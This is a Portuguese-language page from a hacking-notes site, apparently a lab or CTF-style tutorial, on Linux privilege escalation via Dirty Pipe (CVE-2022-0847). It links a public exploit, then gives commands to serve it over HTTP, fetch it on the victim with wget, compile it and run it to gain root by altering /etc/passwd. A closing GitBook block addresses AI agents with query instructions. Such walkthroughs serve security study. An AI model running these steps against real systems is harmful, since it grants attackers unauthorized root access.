> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

## O que é

Esta página documenta uma técnica de escalonamento de privilégios no Linux com etapas práticas de validação e exemplos de exploração. Esta página específica foca em **Dirty Pipe** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
id
uname -a
```

## Exemplos

{% hint style="info" %}
**Dirty Pipe** (CVE-2022-0847) é um bug do kernel Linux que permite que um usuário local sem privilégios modifique arquivos do sistema em tempo de execução, incluindo arquivos protegidos como **/etc/passwd**. Essa vulnerabilidade explora uma falha no tratamento de pipes do kernel, permitindo que um processo modifique um arquivo enquanto ele está sendo usado por outro processo, incluindo arquivos somente leitura ou arquivos gravados por usuários privilegiados.
{% endhint %}

## Exploração do Dirty Pipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Verifique se a máquina é vulnerável ao Dirty Pipe, um bug que pode modificar arquivos do sistema em tempo de execução. Encontramos **gcc**, um compilador C, disponível em `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

Use **Python3** para transferir o exploit da máquina local para o alvo. Inicie um servidor HTTP localmente para hospedá-lo:

```bash
python3 -m http.server
```

Na máquina vítima, baixamos o exploit:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/ba82357f559bb6399529baf8bdc61d88df545978" alt=""><figcaption></figcaption></figure>

Depois que o exploit foi recuperado, compilamos o arquivo C com **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
O exploit modifica o `/etc/passwd` arquivo ao injetar um hash de senha e adiciona um `aaron` usuário com uma senha específica, tudo para permitir escalonamento de privilégios.
{% endhint %}

<figure><img src="/files/05eaf68aa3bd7e779f9bbd52aaa1d4d05cf11141" alt=""><figcaption></figcaption></figure>

Por fim, basta executar o script:

```bash
./exploit
```

Isso fornece **`root`** acesso na máquina.

<figure><img src="/files/a5dc75a9643575e829c160def06c566dc15b9b6e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
